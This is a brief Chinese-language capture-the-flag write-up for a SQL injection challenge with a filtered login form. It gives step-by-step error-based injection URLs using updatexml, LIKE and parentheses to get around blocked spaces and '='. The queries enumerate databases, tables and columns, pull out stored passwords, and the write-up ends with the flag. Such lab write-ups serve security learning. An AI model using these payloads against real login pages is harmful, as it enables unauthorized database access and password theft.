这道题过滤了很多sql注入的关键词(可以用bp,fuzz出来,下次试试)
包括空格,但是没有过滤报错注入的两个关键词updatexml和extractvalue
用报错注入
查库名(geek)
?username=1'or(updatexml(1,concat(0x7e,(database()),0x7e),1))%23&password=1
查找所有数据库
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e),1))%23&password=1
查表名
=被过滤了,可以用like代替
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))),0x7e),1))%23&password=1
查列名
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=1
查数据
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=1
报错有长度限制
用left,right拼接
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=1
flag{51fcaf4f-56a5-4b5f-8867-d878f4c2ebd7}